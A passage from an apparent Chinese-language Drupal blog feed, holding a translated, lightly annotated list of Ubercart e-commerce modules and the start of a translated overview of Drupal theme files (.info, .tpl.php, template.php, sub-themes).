&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_authorizenet_simdpm&#34; target=&#34;_blank&#34;&gt;Authorize.Net SIM/DPM Payment Methods&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Authorize.Net SIM/DPM支付模块为Ubercart用户提供了Authorize.NET提供的两种支付方式。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/balance_tracker&#34; target=&#34;_blank&#34;&gt;Balance Checker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块为用户生成一张余额表，用于展示用户的收入和支出。（基本废了——译者注）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_bank_transfer&#34; target=&#34;_blank&#34;&gt;Bank Transfer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块提供了一种支付方式，用于把店铺的银行帐号信息展示给用户，便于用户进行汇款支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_brazilian_payments&#34; target=&#34;_blank&#34;&gt;Brazilian Payment for Ubercart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;又一个支付，懒得翻。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_canadapost&#34; target=&#34;_blank&#34;&gt;Canada Post&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块用于查询加拿大邮政报价。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_canpar&#34; target=&#34;_blank&#34;&gt;Canpar Shipping Quotes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块用于查询Canpar的配送报价，不仅支持基础费率，也支持客户的协商费率。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/colorbox&#34; target=&#34;_blank&#34;&gt;ColorBox&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ColorBox一个轻量级的可定制的Lightbox插件，兼容从jQuery *3到*6，这个模块完成Colorbox到Drupal的集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/course&#34; target=&#34;_blank&#34;&gt;Course&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;将任意的内容类型当作e-learning课程来使用，并可以建立有级别的或无级别的课程对象。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/crumbs&#34; target=&#34;_blank&#34;&gt;Crumbs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一种新的弹性更好，更具个性的面包屑。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_dotpay_pl&#34; target=&#34;_blank&#34;&gt;Dotpay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;波兰的Dotpay.pl的支付集成（天下支付何其多——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ddblock&#34; target=&#34;_blank&#34;&gt;Dynamic display block&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块主要用于在首页显著位置显示轮播内容（貌似已经年老色衰了——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_earlybird&#34; target=&#34;_blank&#34;&gt;Early Bird Discount&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个折扣模块用于实现基于时间的促销，无序促销码，可以针对每个商品分别设置。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/easyrec_for_ubercart&#34; target=&#34;_blank&#34;&gt;Easyrec&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;将&lt;a href=&#34;http://easyrec.org/&#34; target=&#34;_blank&#34;&gt;Easyrec&lt;/a&gt;的推荐功能集成到Ubercart之中，用于提供相关内容推荐。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_ems&#34; target=&#34;_blank&#34;&gt;EMS Russian post shipping&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;俄国EMS（懒得翻——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_eway&#34; target=&#34;_blank&#34;&gt;eWay Payment Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一家来自袋鼠国的叫做eWay的支付商的支付网关。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_extra_fields_pane&#34; target=&#34;_blank&#34;&gt;Extra Field Checkout Pane&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块使得管理员可以定义附加的地址字段，这一字段会在Checkout过程以及订单处理页面中使用。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_fedex&#34; target=&#34;_blank&#34;&gt;Fedex Shipping&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;利用FedEx的Web Service来计算运费。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_field_attribute&#34; target=&#34;_blank&#34;&gt;Field attributes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块把Ubercart的属性系统和Drupal核心的Field API连接起来，可以从多值字段中自动创建商品属性和选项。（好东西，不过好像不太可靠——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/forgotten_login&#34; target=&#34;_blank&#34;&gt;Forgotten Login&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;监控并对失败的登录进行反应（对过多的失败登录尝试，自动发送邮件协助用户复位密码——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_global_quote&#34; target=&#34;_blank&#34;&gt;Global Quote&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;运费计算模块，提供了按照重量和配送地址计算运费的能力。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/google_analytics&#34; target=&#34;_blank&#34;&gt;Google Analytics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为网站添加Google分析能力。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_hotel&#34; target=&#34;_blank&#34;&gt;Hotel Booking System&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;旅店预订系统。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ideal&#34; target=&#34;_blank&#34;&gt;iDEAL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;允许用户使用iDEAL支付API进行荷兰银行的账号间转账。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/is_useful&#34; target=&#34;_blank&#34;&gt;Is Useful&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为Entity添加iTunes/Amazon风格的“这条内容有用么？”的打分系统。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/jqzoom&#34; target=&#34;_blank&#34;&gt;jQZoom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;jQZoom模块是jQZoom这一jQuery插件的实现。为图片提供了放大效果。当用户鼠标移到一个图片上时，鼠标指针区域的图片会显示一个放大的版本。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/nap&#34; target=&#34;_blank&#34;&gt;Node access product&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为Product Node提供“Node Access”设置，订购了产品的用户可以查看指定的内容。这一设置也可以应用到分类，特定Node或者View中。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_tracking&#34; target=&#34;_blank&#34;&gt;Package Tracking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;配送跟踪模块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/paypernode&#34; target=&#34;_blank&#34;&gt;Pay-per-node&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块会暂时覆盖Node的创建权限，允许部分用户创建一定数量的Node。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/payment_ubercart&#34; target=&#34;_blank&#34;&gt;Payment&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供支付能力（摔，这是充数——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_payonline&#34; target=&#34;_blank&#34;&gt;Payonline.ru payment for Ubercart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;（作者都懒得说了——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_rec&#34; target=&#34;_blank&#34;&gt;Products Recommender&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块提供了两个缺省视图，买了这个商品的人还买了什么，以及根据当前用户的购买记录推荐的商品。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_qbms&#34; target=&#34;_blank&#34;&gt;Quickbooks Merchant Service&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块利用Quickbooks Merchant Services(QBMS)的服务，基于uc_credit为网店提供了一个支付卡支付网关。这不是Quickbook的完整集成，他只是简单的为QMBS帐号提供了一个简单的信用卡流程。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_reorder&#34; target=&#34;_blank&#34;&gt;Reorder button for Ubercart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;回头客很重要，利用这一模块方便回头客重复订购需要的服务和商品。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/rmzone&#34; target=&#34;_blank&#34;&gt;Royal Mail zones&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;英国皇家邮政将全球邮寄地址分为四个区：英国，欧洲是第一和第二区，这个模块用于区别一个地址是哪个区。注意根据这个定义，英国不是欧洲的一部分，有些反直觉。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_simplenews&#34; target=&#34;_blank&#34;&gt;Simplenews subscription&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在Ubercart checkout界面提供一个简单的订阅新闻邮件的功能。（目前还是Dev，也没有Demo），不懂干嘛的。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/stripe&#34; target=&#34;_blank&#34;&gt;Stripe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对 &lt;code&gt;https://stripe.com/&lt;/code&gt; 的一些集成。（似乎是个移动支付方案——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/sandbox/matus.lestan/1732798&#34; target=&#34;_blank&#34;&gt;TatraPay(沙箱)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一个斯洛伐克银行的支付模块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_addresses&#34; target=&#34;_blank&#34;&gt;Ubercart Addresses&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;让顾客可以有一个或更多的地址。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_affiliate2&#34; target=&#34;_blank&#34;&gt;Ubercart Affiliate v2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供分支机构功能（猜的，看模块页面有佣金，报表等等相关功能——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_attribute_files&#34; target=&#34;_blank&#34;&gt;Ubercart Attribute Files&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;给Ubercart提供文件上传属性，例如打印店就必须在结算之前上传一个图片。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_attributes_in_cart&#34; target=&#34;_blank&#34;&gt;Ubercart attributes in cart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以允许消费者在购物车中修改商品的属性选择。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_auction&#34; target=&#34;_blank&#34;&gt;Ubercart Auction&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用这个模块可以在网店上拍卖商品。当一个商品进入拍卖时，用户无法将这一商品放入购物车，而只能进行叫价，直到拍卖活动结束。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_epdq&#34; target=&#34;_blank&#34;&gt;Ubercart Barclays EPDQ Payment Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;还是支付啊。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_cart_login_flow&#34; target=&#34;_blank&#34;&gt;Ubercart Cart Login Flow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;根据用户登录情况不同（结算页面还是其他页面），决定不同的购物车合并或替换的行为。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_checkoutfi&#34; target=&#34;_blank&#34;&gt;Ubercart Checkout.fi Payment Method&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;支付支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_custom_price&#34; target=&#34;_blank&#34;&gt;Ubercart Custom Price&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最初这个模块是用来允许使用自定义PHP代码跟产品关联，用于调整产品价格。（危险行为——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_coupon&#34; target=&#34;_blank&#34;&gt;Ubercart Discount Coupons&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供折扣功能。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_dropdown_attributes&#34; target=&#34;_blank&#34;&gt;UC Dropdown Attributes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块提供了一个用于定义属性间联动关系的界面。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_gbase&#34; target=&#34;_blank&#34;&gt;Ubercart Google Merchant Integration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;将Ubercart和Google Merchant进行集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ubercart_funds&#34; target=&#34;_blank&#34;&gt;Ubercart FUnds&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供一个资金管理系统，包括存入，取出，转账等功能。覆盖了大多数paypal类似的功能。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_migs&#34; target=&#34;_blank&#34;&gt;Ubercart MIGS Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;MIGS(MasterCart网关服务)，第三方的支付处理。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_optional_checkout_review&#34; target=&#34;_blank&#34;&gt;Ubercart Optional Checkout Review&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;管理员可以设置在结算页面是否显示一个预览按钮。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_pma&#34; target=&#34;_blank&#34;&gt;Ubercart Payment Method Adjustments&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(仅有5，6版本——译者)。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_actions&#34; target=&#34;_blank&#34;&gt;Ubercart Product Actions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;依赖VBO和一些代码，协助店铺管理员进行一些批量操作，包括对重量和价格的调整。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_panes&#34; target=&#34;_blank&#34;&gt;Ubercart Product Checkout Panes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对指定产品的结算过程中，只显示指定的结算块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_minmax&#34; target=&#34;_blank&#34;&gt;Ubercart Product Minimum &amp;amp; Maximum&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为商品加上最小数量，最大数量购买次数等限制。
另外这些限制对套装产品是无效的。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_realex&#34; target=&#34;_blank&#34;&gt;Ubercart Realex&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;又一个支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_restrictions&#34; target=&#34;_blank&#34;&gt;Ubercart Restrictions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;防止错误的人购买错误的东西，或邮寄到错误的地址。
例如某些商品不能卖给未成年人，有些商品不能邮寄到某些地方。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_sagepay&#34; target=&#34;_blank&#34;&gt;Ubercart Sage Pay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;信用卡支付模块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_sermepa&#34; target=&#34;_blank&#34;&gt;Ubercart Sermepa Payment System&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;支付&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_stamps&#34; target=&#34;_blank&#34;&gt;Ubercart Stamps.com® Shipping Labels&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;利用Stampes.com的服务，为Ubercart的订单打印USPS配送标签。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_termsofservice&#34; target=&#34;_blank&#34;&gt;Ubercart Terms of Service&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为购物车或结算页面提供一份服务条款和一个“我同意”的勾选框。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_webform_pane&#34; target=&#34;_blank&#34;&gt;Ubercart Webform Checkout Pane&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;把一个Web form Node展示在订单或结算页面上，可以用于调查或一些附加界面。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_add_to_cart_block&#34; target=&#34;_blank&#34;&gt;UC Add to Cart Block&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果你希望使用“添加到购物车”，又不想使用Views，也不想写PHP，这个模块能帮你创建一个简单的Block来实现这一想法，这个Block可以随处放置和重用。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_bitcoin&#34; target=&#34;_blank&#34;&gt;UC Bitcoin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;BitCoin支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_civicrm&#34; target=&#34;_blank&#34;&gt;UC CiviCRM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ubercart和CiviCRM集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_dropdown_attributes&#34; target=&#34;_blank&#34;&gt;UC Dropdown Attributes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;同53重复。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_free_order&#34; target=&#34;_blank&#34;&gt;UC Free Order Payment Method&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块注入到支付过程之中，用于展示一个“免费”的支付方法。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_gopay&#34; target=&#34;_blank&#34;&gt;UC GoPay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;狗币支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_panels&#34; target=&#34;_blank&#34;&gt;UC Panels&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;把Ubercart和CTools和Panels进行了基本的集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_paygate&#34; target=&#34;_blank&#34;&gt;UC PayGate&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另一个支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_price_visibility&#34; target=&#34;_blank&#34;&gt;UC Price Visibility&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一般来说，店主希望宣传商品，但并不希望暴露价格，而是“请联系我们询问价格”这样的说辞。这个模块让管理员可以为不同角色指定显示还是隐藏每个商品的价格。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_power_tools&#34; target=&#34;_blank&#34;&gt;UC Product Power tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用于增强Ubercart的创建商品界面（7还在Dev——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_sage_payments&#34; target=&#34;_blank&#34;&gt;UC Sage Payment Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;支付还是支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_shipwire&#34; target=&#34;_blank&#34;&gt;UC Shipwire (Order Fulfillment)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;利用Shipwire提供配送查询。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_who_bought_what&#34; target=&#34;_blank&#34;&gt;Who Bought What&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;查询用户和商品之间的订购关系，用于后续管理工作，例如客服回访等。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>主题文件概述</title>
      <link>/post/drupal-theme-file-summary/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-theme-file-summary/</guid>
      <description>&lt;p&gt;#主题文件概览&lt;/p&gt;

&lt;p&gt;主题是对表达层的定义，由一系列文件组成。也可以为某个主题创建一个或更多的子主题或修改一个主题。只有.info文件是必要的，不过大多数主题或子主题会使用另外的一些文件，下图说明了一个典型的主题或子主题中会包含的内容：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/602dd5b48bc64fcd57ac2be0d3a098ed.png&#34; alt=&#34;drupal 6 theme files&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/1c6fc515ef163a33c47aaca81136b645.png&#34; alt=&#34;drupal 7 theme files&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;.info（必须）&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;主题中，所有对Drupal需要的信息都存在于&amp;rdquo;.info&amp;rdquo;文件之中。主题所需的包括元数据、&lt;a href=&#34;https://www.drupal.org/node/171209&#34; target=&#34;_blank&#34;&gt;样式表&lt;/a&gt;、&lt;a href=&#34;https://www.drupal.org/node/171213&#34; target=&#34;_blank&#34;&gt;JavaScript&lt;/a&gt;、&lt;a href=&#34;https://www.drupal.org/node/171224&#34; target=&#34;_blank&#34;&gt;区块&lt;/a&gt;等信息也都在这一文件中定义。所有其他都是可有可无的。&lt;/p&gt;

&lt;p&gt;主题的内部名称也是从这个文件来的。例如，如果命名为&amp;rdquo;drop.info&amp;rdquo;，则Drupal会认为这个主题的名字叫做drop，Drupal 5或者更早的版本会使用目录名作为主题名。&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Info文件是在Drupal 6中开始的，Drupal 5中只在模块中使用。&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;模板文件（.tpl.php）&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;模板是由(x)HTML标记和PHP变量构成的。在一些特例中，也可能输出其他格式的数据，例如&lt;a href=&#34;http://api.drupal.org/api/function/theme_aggregator_page_rss&#34; target=&#34;_blank&#34;&gt;xml rss&lt;/a&gt;。每个.tpl.php文件负责输出一种特定的可渲染的数据，在某种情况下，使用&lt;a href=&#34;https://www.drupal.org/node/223440&#34; target=&#34;_blank&#34;&gt;模板建议&lt;/a&gt;，可能出现多个.tpl.php对应同一种数据的情况。这些都是可选的，如果你的主题中不存在合适的对应关系，则会使用标准输出。在这些文件里，需要尽量避免使用复杂逻辑，大多数情况下，这里只应该由(x)HTML标记以及PHP变量构成。核心和模块目录中也会存有少量的tpl文件，把它们拷贝到你的主题目录中，就能够让Drupal使用你的版本了。&lt;/p&gt;

&lt;p&gt;&lt;em&gt;注意：&lt;a href=&#34;https://www.drupal.org/node/173880#theme-registry&#34; target=&#34;_blank&#34;&gt;主题注册表&lt;/a&gt;会缓存主题数据。所以当对主题文件进行修改之后，要进行复位。（就是常说的清空缓存）&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;template.php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;template.php文件用来处理所有输出中的判断逻辑和数据加工工作。这个文件不是必须的，不过对于保持.tpl.php文件的整洁是至关重要的：他可以在变量传递给.tpl.php文件进行输出之前进行&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;加工&lt;/a&gt;。自定义函数、&lt;a href=&#34;https://www.drupal.org/node/173880#function-override&#34; target=&#34;_blank&#34;&gt;重写主题函数&lt;/a&gt;以及其他对原始输出进行自定义的过程都应该在这里完成。这个文件必须用&lt;code&gt;&amp;lt;?php&lt;/code&gt;标记开始，不过结束标记不是必须的，推荐省略掉。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://www.drupal.org/node/225125&#34; target=&#34;_blank&#34;&gt;子主题&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;表面上看，子主题跟其他主题差不多。唯一的区别是，它们从父主题继承资源。要创建一个子主题，必须在info文件中指定一个&amp;rdquo;base theme&amp;rdquo;(基主题)。多级继承也是允许的，也就是说一个子主题可以声明另外一个子主题为自己的父主题，继承的层次并无硬性限制。&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Drupal 5以及更总的版本要求子主题放置在父主题的子目录中，更高版本没有这种规定。&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;其他&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
